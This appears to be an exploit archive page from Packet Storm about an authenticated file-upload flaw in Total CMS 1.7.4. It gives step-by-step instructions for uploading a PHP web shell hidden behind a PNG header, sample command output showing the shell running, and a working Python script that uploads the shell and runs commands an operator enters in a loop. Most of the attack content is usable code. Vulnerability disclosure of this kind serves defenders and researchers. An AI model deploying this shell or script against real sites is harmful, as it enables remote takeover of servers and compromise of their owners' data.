exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Total CMS 1.7.4 Shell Upload

Total CMS 1.7.4 Shell Upload
Posted Jun 2, 2023
Authored by tmrswrr

Total CMS version 1.7.4 suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell
SHA-256 | 311a9fa22f204b4564b82c2a94c4476851b555dc106ca4601cf30653dcdf3e5a

Total CMS 1.7.4 Shell Upload

Change Mirror Download
# Exploit Title: Total CMS 1.7.4 - Remote Code Execution (RCE) on File Upload (Authenticated) 
# Date: 03/06/2023
# Exploit Author: tmrswrr
# Version: 1.7.4
# Vendor home page : https://www.totalcms.co/
# Tested Url : https://www.totalcms.co/demo/soccer/
#PLatform : MACOSX

1) Go to this page and click edit page button
https://localhost/demo/soccer/
2)After go down and will you see downloads area
3)Add in this area shell.php file


?PNG
...
<?php echo "<pre>";system($_REQUEST['cmd']);echo "</pre>" ?>
IEND

4) After open this file and write commands

https://localhosts/cms-data/depot/cmssoccerdepot/shell.php?cmd=id
Result :

?PNG ...

uid=996(caddy) gid=998(caddy) groups=998(caddy),33(www-data)

IEND

Exploit:

import requests

url = input("Enter the URL: ")
urll = url + "/rw_common/plugins/stacks/total-cms/totalapi.php"

headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Accept': 'application/json',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Cache-Control': 'no-cache',
'X-Requested-With': 'XMLHttpRequest',
'Total-Key': '3c79a3226d86c825bc0c4cb0cca05b17',
'Content-Type': 'multipart/form-data; boundary=---------------------------17104855723143716151436432930',
'Origin': urll,
'Dnt': '1',
'Referer': f'{urll}/demo/soccer/admin/',
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'same-origin',
'Te': 'trailers',
'Connection': 'close'
}

data = '''\
-----------------------------17104855723143716151436432930\r\n
Content-Disposition: form-data; name="slug"\r\n
\r\n
cmssoccerdepot\r\n
-----------------------------17104855723143716151436432930\r\n
Content-Disposition: form-data; name="type"\r\n
\r\n
depot\r\n
-----------------------------17104855723143716151436432930\r\n
Content-Disposition: form-data; name="file"; filename="hey.php"\r\n
Content-Type: application/x-php\r\n
\r\n
?PNG
...
<?php echo "<pre>";system($_REQUEST['cmd']);echo "</pre>" ?>
IEND\r\n
\r\n
-----------------------------17104855723143716151436432930--'''

while True:
command = input("WRITE YOUR COMMAND ('exit' to quit): ")

if command.lower() == "exit":
break

response = requests.post(url, headers=headers, data=data)

if response.status_code == 200:
shell_path = f'/cms-data/depot/cmssoccerdepot/hey.php?cmd={command}'
shell_url = url + shell_path
print(shell_url)
shell_response = requests.get(shell_url)
print(shell_response.text)
else:
print('Failed to execute the request.')

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close